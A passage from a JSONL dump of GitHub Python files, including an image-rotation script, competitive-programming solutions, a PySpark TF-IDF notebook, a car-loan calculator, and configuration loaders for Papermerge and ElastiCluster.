\"string\",\r\n \"regex\": \"^https?:\\/\\/.+\\..+$\",\r\n },\r\n \"address\": {\r\n \"type\": \"string\",\r\n \"minlength\": 2,\r\n },\r\n \"logo\": {\r\n \"type\": \"media\",\r\n }\r\n}\r\n","repo_name":"ajzenhamernikola/sinergija-v2","sub_path":"schemas/company.py","file_name":"company.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10423893403","text":"import cv2\nimport numpy as np\nimport math\nimport random\nfrom tkinter import Tk\nfrom tkinter.filedialog import askopenfilename\n\ndef warp_my(filename,M,rsize):\n img = filename\n rows, cols = rsize\n rows1, cols1 = img.shape[:2]\n img_output = np.zeros((rsize[0],rsize[1],3), np.uint8)\n X1 = np.float32([0,0])\n A = np.float32([ [M[0,0],M[0,1]], [M[1,0],M[1,1] ]])\n \n for x in range(rows-1):\n for y in range(cols-1):\n Y1 = np.float32([ [x-M[0,2]],[y-M[1,2]] ])\n cv2.solve(A,Y1,X1)\n newx = int(X1[0])\n newy = int(X1[1])\n if(newx>0 and newx < rows1 and newy < cols1 and newy>0):\n img_output[x,y,0] = img[newx,newy,0]\n img_output[x,y,1] = img[newx,newy,1]\n img_output[x,y,2] = img[newx,newy,2]\n return img_output\n \ndef rotation(filename, angle, scale = 1):\n angle = 360-angle\n img = cv2.imread(filename)\n rows, cols = img.shape[:2]\n\n alpha = scale*math.cos(math.radians(angle))\n betha = scale*math.sin(math.radians(angle))\n center_x = cols/2\n center_y = rows/2\n M = np.ndarray(shape=(2,3), buffer = np.array([[alpha,betha,(1-alpha)*center_x-betha*center_y],[-betha,alpha,betha*center_x+(1-alpha)*center_y]]))\n \n \n newX,newY = rows*scale,cols*scale\n sen = math.sin(math.radians(angle))\n cos = math.cos(math.radians(angle))\n newX,newY = (abs(sen*newY) + abs(cos*newX),abs(sen*newX) + abs(cos*newY))\n \n (tx,ty) = ((newX-rows)/2,(newY-cols)/2)\n M[0,2] += tx\n M[1,2] += ty\n \n img_output = warp_my(img, M, (int(newX),int(newY)))\n strr = \"rotation_\"+str(random.random())+\".jpg\"\n cv2.imwrite(strr,img_output)\n return strr\n\n\nfilename = askopenfilename()\n\nrotation(filename,30)\n","repo_name":"tigerofmurder/warpAffine","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33562014475","text":"\"\"\"\nSet up accelerator path in code but load shortcut from file.\n\"\"\"\n\nimport gtk\n\nbuilder = gtk.Builder()\nbuilder.add_from_file(\"managed.ui\")\n\nactiongroup = gtk.ActionGroup(\"MainWindow\")\nactiongroup.add_action(builder.get_object(\"file\"))\naction = builder.get_object(\"save\")\naction.connect(\"activate\", gtk.main_quit)\n\nPATH = \"/MainWindow/save\"\ngtk.accel_map_load(\"accel.map\")\naction.set_accel_path(PATH)\nactiongroup.add_action(action)\n\nmanager = gtk.UIManager()\nmanager.insert_action_group(actiongroup)\nmanager.add_ui_from_file(\"managed.xml\")\n\nwindow = gtk.Window()\nwindow.add_accel_group(manager.get_accel_group())\n\nwindow.show_all()\ngtk.main()\n","repo_name":"roboogle/gtkmvc3","sub_path":"gtkmvco/examples/uimanager/xml-map.py","file_name":"xml-map.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"25622414984","text":"import math\n\na, b = list(map(int, input().split(\" \")))\ng = 1\n\n\ndef f(x):\n return a / math.sqrt(g + x) + b * x\n\n\ndef solve():\n left = 0\n right = 10**16\n while left <= right:\n m = (left + right) // 2\n if m == 0:\n print(f(0))\n return 0\n tmp1 = f(m - 1)\n tmp2 = f(m)\n tmp3 = f(m + 1)\n if tmp1 >= tmp2 and tmp2 <= tmp3:\n print(tmp2)\n return 0\n elif tmp1 < tmp2:\n right = m - 1\n else:\n left = m + 1\n\n\nsolve()\n","repo_name":"kn5suzuki/atcoder","sub_path":"abc279/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"29565790987","text":"import findspark\nfindspark.init()\nimport pyspark\n\nimport re\nfrom nltk.stem import PorterStemmer\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.corpus import stopwords\nfrom itertools import groupby\nimport numpy as np\nimport math\n\nsc = pyspark.SparkContext(appName=\"test\")\n\nfilePath = 'hdfs://0.0.0.0:9000/user/bitnami/group_project_data/data_simple.xml'\n\nraw_data = sc.textFile(filePath)\n\nid_pattern = re.compile(' 0).filter(lambda i: i is True).count()\n word_idf = np.log(np.divide(DOCUMENT_COUNT, documents_frequency + 1))\n idf_array.append(word_idf)\n\nget_ipython().run_line_magic('time', 'cal_run_time()')\n\ndef job_cal_document_freq(word_freq_array1, word_freq_array2):\n document_freq1 = word_freq_array1!=0\n document_freq2 = word_freq_array2!=0\n return document_freq1*1 + document_freq2\n\nget_ipython().run_line_magic('time', 'document_freq = id_freq_dicts.map(lambda i:i[1]).reduce(job_cal_document_freq)')\n\nidf_array = np.log(DOCUMENT_COUNT/document_freq)\n\nidf_array\n\nid_tfidf = id_freq_dicts.map(lambda i: (i[0], i[1] * idf_array))\n\nid_tfidf.take(2)\n\n\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/preprocess_pyspark.py","file_name":"preprocess_pyspark.py","file_ext":"py","file_size_in_byte":4257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13620909974","text":"import io\nimport os\n\nfrom tomlkit import loads\n\n\nclass Configula:\n \"\"\"\n Creates a single configuration by merging settings defined in:\n 1. in environment variables\n 2. in toml file\n\n Values provided in **environment variables have priority** over values from\n toml configuration file.\n\n By default all environment variables are prefixed with 'PAPERMERGE'. By\n default `__` (two underscores) is used as delimiter in environment\n variables names. For example, given following toml file:\n\n [main]\n secret_key = 1234\n\n [ocr]\n default_language = 'deu'\n\n corespondent environment variables names are PAPERMERGE__MAIN__SECRET_KEY\n and PAPERMERGE__OCR__DEFAULT_LANGUAGE - notice two underscores separate\n section name from prefix and variable name. Environment variable name\n format is (all in uppercase):\n\n
    \n\n Although in toml files you can place variable names outside sections, in\n Configula all variables **must be placed in sections**.\n\n By default Configula looks up for following toml file:\n\n - /etc/papermerge/papermerge.toml\n - /etc/papermerge.toml\n - papermerge.toml\n\n If you have custom location (or custom file name), use\n ``PAPERMERGE__CONFIG``(notice double underscores) environment variable to\n point to it:\n\n PAPERMERGE__CONFIG=/app/config/pm.toml\n\n Example of usage:\n\n from configula import Configula\n\n config = Configula()\n\n default_language = config.get('ocr', 'default_language')\n secret_key = config.get('main', 'secret_key')\n debug = config.get('main', 'debug', default=False)\n \"\"\"\n MYSQL_TYPE = ('my', 'mysql', 'maria', 'mariadb')\n POSTGRES_TYPE = ('pg', 'postgre', 'postgres', 'postgresql')\n DEFAULT_PREFIX = 'PAPERMERGE'\n DEFAULT_DELIMITER = '__'\n DEFAULT_LOCATIONS = [\n \"/etc/papermerge/papermerge.toml\",\n \"/etc/papermerge.toml\",\n \"papermerge.toml\"\n ]\n DEFAULT_CONFIG_VAR_NAME = \"PAPERMERGE__CONFIG\"\n\n def __init__(\n self,\n prefix=None,\n delimiter=None,\n config_locations=None,\n config_env_var_name=None\n ):\n \"\"\"\n `config_locations` (list): a list of string file paths\n where to load configurations from\n `config_env_var_name` (str): in case `config_locations` was\n not provided, load file configurations\n from a file pointed by this environment variable\n `prefix` (str): all configurations provided by environment\n variables will be prefixed with this value\n `delimiter` (str): default delimiter is `__` (two underscores)\n i.e. __
    __\n\n Example:\n\n Configula(\n prefix='PAPERMERGE',\n config_locations=[\n 'papermerge.toml',\n '/etc/papermerge.toml'\n ],\n config_env_var_name='PAPERMERGE__CONFIG'\n )\n\n In case papermerge.toml was not found in current location\n and /etc/papermerge.toml does not exists, it continue look for\n configuration file by looking at PAPERMERGE__CONFIG environment\n variable. If PAPERMERGE__CONFIG environment variable exists and is\n (for example):\n\n PAPERMERGE__CONFIG=/home/eugen/papermerge.toml\n\n will load configurations from /home/eugen/papermerge.toml.\n\n Environment variables values have HIGHTEST priority.\n If both toml configuration file is present and corresponding\n environment variable is present - environment variable gets\n priority over corresponding value found in toml file.\n \"\"\"\n if config_locations is None:\n self.config_locations = self.DEFAULT_LOCATIONS\n else:\n self.config_locations = config_locations\n\n if config_env_var_name is None:\n self.config_env_var_name = self.DEFAULT_CONFIG_VAR_NAME\n else:\n self.config_env_var_name = config_env_var_name\n\n if prefix is None:\n self.prefix = self.DEFAULT_PREFIX\n else:\n self.prefix = prefix\n\n if delimiter is None:\n self.delimiter = self.DEFAULT_DELIMITER\n else:\n self.delimiter = delimiter\n\n self._toml_config = self.load_toml()\n\n def _loads(self, file_path):\n with io.open(file_path, encoding=\"utf-8\") as f:\n return loads(f.read())\n\n def load_toml(self):\n \"\"\"\n Loads toml configuration file from self.config_locations or\n from location pointed by self.config_env_var_name.\n\n Returns None in case toml configuration file was not found.\n Returns a dictionary of configuration if toml config was found.\n \"\"\"\n for config_file in self.config_locations:\n if os.path.exists(config_file):\n return self._loads(config_file)\n\n config_file = os.environ.get(self.config_env_var_name, False)\n if config_file and os.path.exists(config_file):\n return self._loads(config_file)\n\n def get(self, section_name, var_name, default=None):\n \"\"\"\n Reads `var_name` in section `section_name` either from toml config\n or from environment variable.\n\n In case no value is found in above sources value provided as `default`\n will be returned.\n \"\"\"\n pref = self.prefix\n delim = self.delimiter\n env_name = f\"{pref}{delim}{section_name}{delim}{var_name}\".upper()\n\n try:\n env_value = os.getenv(env_name)\n value = env_value or self._toml_config[section_name][var_name]\n except Exception as _:\n value = default\n\n return value\n\n def get_django_databases(self, proj_root):\n \"\"\"Returns dictionary for django DATABASES settings\"\"\"\n # by default, if no value is provided for database, use\n # sqlite3 with file located in `proj_root`\n section = 'database'\n result = {\n \"default\": {\n \"ENGINE\": \"django.db.backends.sqlite3\",\n \"NAME\": os.path.join(\n self.get(\n section,\n 'dir',\n default=proj_root\n ),\n 'db.sqlite3'\n )\n }\n }\n\n if self.get(section, 'type', False) in self.POSTGRES_TYPE:\n result[\"default\"] = {\n \"ENGINE\": \"django.db.backends.postgresql_psycopg2\",\n \"NAME\": self.get(section, \"name\", \"papermerge\"),\n \"USER\": self.get(section, \"user\", \"papermerge\"),\n }\n result[\"default\"][\"PASSWORD\"] = self.get(section, 'password', \"\")\n result[\"default\"][\"HOST\"] = self.get(\n section,\n 'host',\n 'localhost'\n )\n result[\"default\"][\"PORT\"] = self.get(section, 'port', 5432)\n elif self.get(section, 'type', False) in self.MYSQL_TYPE:\n result['default'] = {\n \"ENGINE\": \"django.db.backends.mysql\",\n \"NAME\": self.get(section, 'name', 'papermerge'),\n \"USER\": self.get(section, 'user', 'papermerge'),\n }\n result[\"default\"][\"PASSWORD\"] = self.get(section, 'password', '')\n result[\"default\"][\"HOST\"] = self.get(\n section, 'host', 'localhost'\n )\n result[\"default\"][\"PORT\"] = self.get(section, 'port', 3306)\n\n return result\n\n @property\n def has_mysql(self):\n return self.get('database', 'type') in self.MYSQL_TYPE\n","repo_name":"papermerge/configula","sub_path":"configula/configula.py","file_name":"configula.py","file_ext":"py","file_size_in_byte":7734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"30343179463","text":"# 2573. 빙산\n\"\"\"\n# temp = maps 만듬\n# temp에서 사방탐색 한 후 maps에 계산해주기\n# bfs 섬 개수 구하기처럼 계산해서 2이상나오면 break해줌\n\"\"\"\n\n# 62% 정도에서 틀렸다고 나옴\n# solving..\n\nfrom collections import deque\nimport copy\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\nN, M = map(int, input().split())\nmaps = []\nfor i in range(N):\n maps.append(list(map(int, input().split())))\n\nvisited = [[0] * M for i in range(N)]\n\ndef bfs(x, y):\n q = deque()\n q.append((x, y))\n visited[x][y] = 1\n\n while q:\n x, y = q.popleft()\n for d in range(4):\n nx = x + dx[d]\n ny = y + dy[d]\n if not nx in range(N) or not ny in range(M):\n continue\n if visited[nx][ny] != 0:\n continue\n if maps[nx][ny] == 0:\n continue\n visited[nx][ny] = 1\n q.append((nx, ny))\n\n\n# 1년 후 얼음이 녹을 때\ndef search():\n temp = copy.deepcopy(maps)\n for i in range(N):\n for j in range(M):\n # visited를 다 0으로 만들어줌\n visited[i][j] = 0\n if temp[i][j] != 0:\n for d in range(4):\n nx = i + dx[d]\n ny = j + dy[d]\n if not nx in range(N) or not ny in range(M):\n continue\n if temp[nx][ny] == 0:\n if maps[i][j] != 0:\n maps[i][j] -= 1\n\n\n\n\ndef run():\n # result : N년 후\n result = 0\n\n # 얼음이 다 녹을 때 까지\n while sum(map(sum,maps)) != 0:\n # cnt: 빙산 덩어리 개수\n cnt = 0\n # 빙산 덩어리 개수 찾기\n for i in range(N):\n for j in range(M):\n if maps[i][j] != 0:\n if visited[i][j] == 1:\n continue\n bfs(i, j)\n cnt += 1\n # 빙산이 2개 이상 되면\n if cnt >= 2:\n return result\n\n # 빙산이 1년 후 녹음, visited = 0으로 초기화\n search()\n result += 1\n\n return result\n\nanswer = run()\n\n# 빙산이 다 녹을 때까지 분리되지 않으면 0 출력\nif max(map(max, maps)) <= 0:\n answer = 0\n\nprint(answer)","repo_name":"sunghyunzzzzang/algorithm","sub_path":"BOJ/2573.py","file_name":"2573.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"24487496004","text":"#Just to warn you, this is the messiest code I've ever made in my life.\r\n#I can barely understand it myself, so my explanations and comments might be lacking.\r\n#I'm importing time so I can make cool dramatic delays. It's pointless, but cool.\r\n#It kinda gives the feeling like the computer is thinking.\r\nimport time\r\nn = 12\r\n#Initial price\r\nAo = float(input(\"What is the sticker price of the car?\"))\r\n#Interest rate\r\nrr = float(input(\"What percent rate did the banks give you?\"))\r\n#Time to pay it\r\nt = float(input(\"How many years are you looking to pay it off for?\"))\r\n#I convert the rate to a percent in decimal form\r\nr = rr/100\r\n#Multiply the rate and payments per year and save as a variable\r\nrn = r/n\r\n#Multiply payments per year and years to pay and save as an integer\r\nnt = int(n*t)\r\n#I seperated all of the steps in the equation into different variables\r\nstep1 = (1+rn)\r\nstep2 = step1 ** nt\r\nA = str(Ao*step2)\r\nAUse = float(A)\r\nmonthly = AUse/nt\r\n#I printed my calculated information\r\nprint(\"The final price of your car will be $\",format(AUse,\".2f\"),\"\\nYour monthly payment will be $\",format(monthly,\".2f\"),\" for the next \",nt,\" months.\", sep = \"\")\r\ntime.sleep(3.5)\r\nprint(\"Okay that's a little too high.\")\r\ntime.sleep(1.5)\r\n#Ask the user for how much they will pay per month\r\nmonpay = float(input(\"What's the most you're willing to pay a month?\"))\r\n#Series of variables to calculate new rate and maximum sticker price for new car\r\nA1 = monpay*nt\r\nstep3 = A1/Ao\r\nstep4 = step3**(1/nt)\r\n#The unformated new rate\r\nnotreallythenewrate = n*step4-n\r\n#The totally formated new rate, made readable now! Praise the lord!\r\nnewrate = format(notreallythenewrate*100, \".2f\")\r\nstep5 = 1+(notreallythenewrate/n)**nt\r\n#This is the new sticker price\r\nAoo = format(A1/step5,\".2f\")\r\ntime.sleep(1)\r\n#And I print the information here\r\nprint(\"If you want to be able to buy this car within your budget, you would need the bank to offer you an interest rate of \",newrate,\"% APR.\", sep = \"\")\r\ntime.sleep(2.5)\r\nprint(\"I know you don't want to hear this but if they're really unwilling to budge, then you may have to look into a different car. At the given interest rate of \",rr,\"% APR and your maximum monthly payment, the most that you can afford is a car that costs $\",Aoo,\" sticker price.\", sep = \"\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"DrewRitos/programs","sub_path":"CarCalc.py","file_name":"CarCalc.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22395275782","text":"n, m, y, x, k = map(int, input().split())\narr = [list(map(int, input().split())) for _ in range(n)]\ncommand = list(map(int, input().split()))\n#동쪽은 1, 서쪽은 2, 북쪽은 3, 남쪽은 4\ndice = [0, 0, 0, 0, 0, 0, 0] #6번이 밑수다\ndx = [0, 1, -1, 0, 0]\ndy = [0, 0, 0, -1, 1]\nfor i in command:\n if x+ dx[i] < 0 or x+dx[i] >= m or y+dy[i]< 0 or y+dy[i] >=n:\n continue\n else:\n x = x + dx[i]\n y = y + dy[i]\n if i == 1: #동쪽\n save = dice[6]\n dice[6] = dice[3]\n dice[3] = dice[1]\n dice[1] = dice[4]\n dice[4] = save\n\n if arr[y][x] == 0:\n arr[y][x] = dice[6]\n else:\n dice[6] = arr[y][x]\n arr[y][x] = 0\n print(dice[1])\n elif i == 2:\n save = dice[6]\n dice[6] = dice[4]\n dice[4] = dice[1]\n dice[1] = dice[3]\n dice[3] = save\n\n if arr[y][x] == 0:\n arr[y][x] = dice[6]\n else:\n dice[6] = arr[y][x]\n arr[y][x] = 0\n print(dice[1])\n elif i == 3:\n\n save = dice[6]\n dice[6] = dice[2]\n dice[2] = dice[1]\n dice[1] = dice[5]\n dice[5] = save\n if arr[y][x] == 0:\n arr[y][x] = dice[6]\n else:\n dice[6] = arr[y][x]\n arr[y][x] = 0\n print(dice[1])\n elif i == 4:\n save = dice[6]\n dice[6] = dice[5]\n dice[5] = dice[1]\n dice[1] = dice[2]\n dice[2] = save\n if arr[y][x] == 0:\n arr[y][x] = dice[6]\n else:\n dice[6] = arr[y][x]\n arr[y][x] = 0\n print(dice[1])","repo_name":"scl2589/Algorithm_problem_solving","sub_path":"Baekjoon/14499/14499_dice.py","file_name":"14499_dice.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20985581285","text":"__author__ = str.join(', ', [\n 'Nicolas Baer ',\n 'Antonio Messina ',\n 'Riccardo Murri ',\n])\n\n# System imports\nfrom collections import defaultdict\nimport os\nimport re\nimport sys\ntry:\n from types import StringTypes\nexcept ImportError:\n # Python 3\n StringTypes = (str,)\nimport warnings\n\n# External modules\nfrom ConfigParser import RawConfigParser\n\nfrom pkg_resources import resource_filename\n\ntry:\n # Voluptuous version >= 0.8.1\n from voluptuous import message, MultipleInvalid, Invalid, Schema\n from voluptuous import All, Length, Any, Url, Boolean, Optional, Required\nexcept ImportError:\n # Voluptuous version <= 0.7.2\n from voluptuous.voluptuous import message, MultipleInvalid, Invalid\n from voluptuous import Schema, All, Length, Any, Url, Boolean, Optional, Required\n\n# Elasticluster imports\nfrom elasticluster import log\nfrom elasticluster.exceptions import ConfigurationError\nfrom elasticluster.providers.ansible_provider import AnsibleSetupProvider\nfrom elasticluster.cluster import Cluster\nfrom elasticluster.repository import MultiDiskRepository\n\n\nclass Configurator(object):\n \"\"\"The `Configurator` class is responsible for\n\n 1) keeping track of the configuration and\n\n 2) offer factory methods to create all kind of objects that need\n information from the configuration.\n\n The cluster configuration dictionary is structured in the\n following way: (see an example @\n https://github.com/gc3-uzh-ch/elasticluster/wiki/Configuration-Module)::\n\n { \"\" : {\n \"setup\" : { properties of the setup section },\n \"cloud\" : { properties of the cloud section },\n \"login\" : { properties of the login section },\n \"cluster\" : { properties of the cluster section },\n \"nodes\": { \"\" : { properties of the node},\n \"\" : { properties of the node},\n },\n },\n \"\" : {\n (see above)\n }\n }\n\n\n It is also responsible for loading a cluster from a valid\n `repository.AbstractClusterRepository`.\n\n :param dict cluster_conf: see description above\n\n :param str storage_path: path to store data\n\n :raises MultipleInvalid: configuration validation\n\n \"\"\"\n\n setup_providers_map = {\"ansible\": AnsibleSetupProvider, }\n\n default_storage_path = os.path.expanduser(\n \"~/.elasticluster/storage\")\n default_storage_type = 'yaml'\n\n def __init__(self, cluster_conf, storage_path=None, storage_type=None):\n self.general_conf = dict()\n self.cluster_conf = cluster_conf\n\n if storage_path:\n storage_path = os.path.expanduser(storage_path)\n storage_path = os.path.expandvars(storage_path)\n self.general_conf['storage_path'] = storage_path\n else:\n self.general_conf['storage_path'] = Configurator.default_storage_path\n\n self.general_conf['storage_type'] = storage_type or Configurator.default_storage_type\n\n validator = ConfigValidator(self.cluster_conf)\n validator.validate()\n\n @classmethod\n def fromConfig(cls, configfiles, storage_path=None):\n \"\"\"\n Helper method to initialize Configurator from a `.ini`-format file.\n\n :param list configfiles: list of paths to the ini file(s).\n For each path ``P`` in `configfiles`, if a directory named ``P.d``\n exists, also reads all the `*.conf` files in that directory.\n\n :param str storage_path:\n path to the storage directory. If defined, a\n :py:class:`repository.DiskRepository` class will be instantiated.\n\n :return: :py:class:`Configurator`\n \"\"\"\n if isinstance(configfiles, StringTypes):\n configfiles = [configfiles]\n config_reader = ConfigReader(configfiles)\n (conf, storage_conf) = config_reader.read_config()\n\n # FIXME: We shouldn't need this ugly fix\n if storage_path:\n storage_conf['storage_path'] = storage_path\n return Configurator(conf, **storage_conf)\n\n def create_cloud_provider(self, cluster_template):\n \"\"\"Creates a cloud provider by inspecting the configuration properties\n of the given cluster template.\n\n :param str cluster_template: template to use (if not already specified\n on init)\n :return: cloud provider that fulfills the contract of\n :py:class:`elasticluster.providers.AbstractSetupProvider`\n \"\"\"\n conf = self.cluster_conf[cluster_template]['cloud']\n\n try:\n if conf['provider'] == 'ec2_boto':\n from elasticluster.providers.ec2_boto import BotoCloudProvider\n provider = BotoCloudProvider\n elif conf['provider'] == 'openstack':\n from elasticluster.providers.openstack import OpenStackCloudProvider\n provider = OpenStackCloudProvider\n elif conf['provider'] == 'google':\n from elasticluster.providers.gce import GoogleCloudProvider\n provider = GoogleCloudProvider\n elif conf['provider'] == 'azure':\n from elasticluster.providers.azure_provider import AzureCloudProvider\n provider = AzureCloudProvider\n else:\n raise Invalid(\"Invalid provider '%s' for cluster '%s'\"% (conf['provider'], cluster_template))\n except ImportError as ex:\n raise Invalid(\"Unable to load provider '%s': %s\" % (conf['provider'], ex))\n\n providerconf = conf.copy()\n providerconf.pop('provider')\n providerconf['storage_path'] = self.general_conf['storage_path']\n\n return provider(**providerconf)\n\n def create_cluster(self, template, name=None):\n \"\"\"Creates a cluster by inspecting the configuration properties of the\n given cluster template.\n\n :param str template: name of the cluster template\n\n :param str name: name of the cluster. If not defined, the cluster\n will be named after the template.\n\n :return: :py:class:`elasticluster.cluster.cluster` instance:\n\n :raises ConfigurationError: cluster template not found in config\n\n \"\"\"\n if not name:\n name = template\n\n if template not in self.cluster_conf:\n raise ConfigurationError(\n \"Invalid configuration for cluster `%s`: %s\"\n \"\" % (template, name))\n\n conf = self.cluster_conf[template]\n conf_login = self.cluster_conf[template]['login']\n\n extra = conf['cluster'].copy()\n extra.pop('cloud')\n extra.pop('setup_provider')\n extra['template'] = template\n\n cluster = Cluster(name=name,\n cloud_provider=self.create_cloud_provider(template),\n setup_provider=self.create_setup_provider(template, name=name),\n user_key_name=conf_login['user_key_name'],\n user_key_public=conf_login['user_key_public'],\n user_key_private=conf_login[\"user_key_private\"],\n repository=self.create_repository(),\n **extra)\n\n nodes = dict(\n (k[:-6], int(v)) for k, v in conf['cluster'].iteritems() if\n k.endswith('_nodes'))\n\n for kind, num in nodes.iteritems():\n conf_kind = conf['nodes'][kind]\n extra = conf_kind.copy()\n extra.pop('image_id', None)\n extra.pop('flavor', None)\n extra.pop('security_group', None)\n extra.pop('image_userdata', None)\n userdata = conf_kind.get('image_userdata', '')\n cluster.add_nodes(kind,\n num,\n conf_kind['image_id'],\n conf_login['image_user'],\n conf_kind['flavor'],\n conf_kind['security_group'],\n image_userdata=userdata,\n **extra)\n return cluster\n\n def load_cluster(self, cluster_name):\n \"\"\"Loads a cluster from the cluster repository.\n\n :param str cluster_name: name of the cluster\n :return: :py:class:`elasticluster.cluster.cluster` instance\n \"\"\"\n repository = self.create_repository()\n cluster = repository.get(cluster_name)\n if not cluster._setup_provider:\n cluster._setup_provider = self.create_setup_provider(cluster.template)\n if not cluster.cloud_provider:\n cluster.cloud_provider = self.create_cloud_provider(cluster.template)\n cluster.update_config(\n self.cluster_conf[cluster.template]['cluster'],\n self.cluster_conf[cluster.template]['login']\n )\n return cluster\n\n @staticmethod\n def _read_node_groups(conf):\n \"\"\"\n Return mapping from node kind names to list of Ansible host group names.\n \"\"\"\n result = defaultdict(list)\n for key, value in conf.items():\n if not key.endswith('_groups'):\n continue\n node_kind = key[:-len('_groups')]\n group_names = [group_name.strip()\n for group_name in value.split(',')]\n for group_name in group_names:\n # handle renames\n if group_name in Configurator._renamed_node_groups:\n old_group_name = group_name\n group_name, remove_at = Configurator._renamed_node_groups[group_name]\n warnings.warn(\n \"Group `{0}` was renamed to `{1}`;\"\n \" please fix your configuration file.\"\n \" Support for automatically renaming\"\n \" this group will be removed in {2}.\"\n .format(old_group_name, group_name,\n ((\"ElastiCluster {0}\".format(remove_at))\n if remove_at\n else (\"a future version of ElastiCluster\"))),\n DeprecationWarning)\n result[node_kind].append(group_name)\n return result\n\n _renamed_node_groups = {\n # old name -> (new name will be removed in...\n 'gluster_data' : ('glusterfs_server', '1.4'),\n 'gluster_client': ('glusterfs_client', '1.4'),\n 'slurm_clients': ('slurm_workers', '1.4'),\n }\n\n def create_setup_provider(self, cluster_template, name=None):\n \"\"\"Creates the setup provider for the given cluster template.\n\n :param str cluster_template: template of the cluster\n :param str name: name of the cluster to read configuration properties\n \"\"\"\n conf = self.cluster_conf[cluster_template]['setup']\n conf['general_conf'] = self.general_conf.copy()\n if name:\n conf['cluster_name'] = name\n conf_login = self.cluster_conf[cluster_template]['login']\n\n provider_name = conf.get('provider')\n if provider_name not in Configurator.setup_providers_map:\n raise ConfigurationError(\n \"Invalid value `%s` for `setup_provider` in configuration \"\n \"file.\" % provider_name)\n\n storage_path = self.general_conf['storage_path']\n if 'playbook_path' in conf:\n playbook_path = conf['playbook_path']\n del conf['playbook_path']\n else:\n playbook_path = None\n groups = self._read_node_groups(conf)\n environment = dict()\n for nodekind, grps in groups.iteritems():\n if not isinstance(grps, list):\n groups[nodekind] = [grps]\n\n # Environment variables parsing\n environment[nodekind] = dict()\n for key, value in list(conf.items()) + list(self.cluster_conf[cluster_template]['cluster'].items()):\n # Set both group and global variables\n for prefix in [\"%s_var_\" % nodekind,\n \"global_var_\"]:\n if key.startswith(prefix):\n var = key.replace(prefix, '')\n environment[nodekind][var] = value\n log.debug(\"setting variable %s=%s for node kind %s\",\n var, value, nodekind)\n\n provider = Configurator.setup_providers_map[provider_name]\n return provider(groups, playbook_path=playbook_path,\n environment_vars=environment,\n storage_path=storage_path,\n sudo=conf_login['image_sudo'],\n sudo_user=conf_login['image_user_sudo'],\n **conf)\n\n def create_repository(self):\n storage_path = self.general_conf['storage_path']\n storage_type = self.general_conf['storage_type']\n return MultiDiskRepository(storage_path, storage_type)\n\n\n## custom validators\n@message(\"file could not be found\")\ndef file_exists(v):\n f = os.path.expanduser(os.path.expandvars(v))\n if os.access(f, os.F_OK):\n return f\n else:\n raise Invalid(\"file `{v}` could not be found\".format(v=v))\n\n@message(\"file cannot be read\")\ndef can_read_file(v):\n f = os.path.expanduser(os.path.expandvars(v))\n if os.access(f, os.R_OK):\n return f\n else:\n raise Invalid(\"cannot read file `{v}`\".format(v=v))\n\n@message(\"cannot execute file\")\ndef can_execute_file(v):\n f = os.path.expanduser(os.path.expandvars(v))\n if os.access(f, os.X_OK):\n return f\n else:\n raise Invalid(\"cannot execute file `{v}`\".format(v=v))\n\n@message(\"Unsupported nova API version\")\ndef nova_api_version(version):\n try:\n from novaclient import client,exceptions\n client.get_client_class(version)\n return version\n except exceptions.UnsupportedVersion as ex:\n raise Invalid(\n \"Invalid value for `nova_api_version`: {0}\".format(ex))\n\n\nclass ConfigValidator(object):\n \"\"\"Validator for the cluster configuration dictionary.\n\n :param config: dictionary containing cluster configuration properties\n \"\"\"\n\n def __init__(self, config):\n self.config = config\n\n def _pre_validate(self):\n \"\"\"Handles all pre-validation tasks, such as:\n\n * reading environment variables\n * interpolating configuration options\n \"\"\"\n # read cloud provider environment variables (ec2_boto, google, openstack, or azure)\n for cluster, props in self.config.iteritems():\n if \"cloud\" in props and \"provider\" in props['cloud']:\n\n for param, value in props['cloud'].iteritems():\n PARAM = param.upper()\n if not value and PARAM in os.environ:\n props['cloud'][param] = os.environ[PARAM]\n\n # manually interpolate ansible path; configobj does not offer\n # an easy way to do it\n ansible_pb_dir = resource_filename('elasticluster', 'share/playbooks')\n for cluster, props in self.config.iteritems():\n if 'setup' in props and 'playbook_path' in props['setup']:\n if props['setup']['playbook_path'].startswith(\n \"%(ansible_pb_dir)s\"):\n pbpath = props['setup']['playbook_path']\n pbpath = pbpath.replace(\"%(ansible_pb_dir)s\",\n str(ansible_pb_dir))\n self.config[cluster]['setup']['playbook_path'] = pbpath\n\n def _post_validate(self):\n \"\"\"Handles all post-validation tasks, such as:\n\n * expand file paths\n \"\"\"\n # expand all paths\n for cluster, values in self.config.iteritems():\n conf = self.config[cluster]\n if 'playbook_path' in values['setup']:\n pbpath = os.path.expanduser(values['setup']['playbook_path'])\n conf['setup']['playbook_path'] = pbpath\n\n privkey = os.path.expanduser(values['login']['user_key_private'])\n conf['login']['user_key_private'] = privkey\n\n pubkey = os.path.expanduser(values['login']['user_key_public'])\n conf['login']['user_key_public'] = pubkey\n\n def validate(self):\n \"\"\"\n Validate the given configuration,\n converting properties to native Python types.\n\n The configuration to check must have been given to the\n constructor and stored in 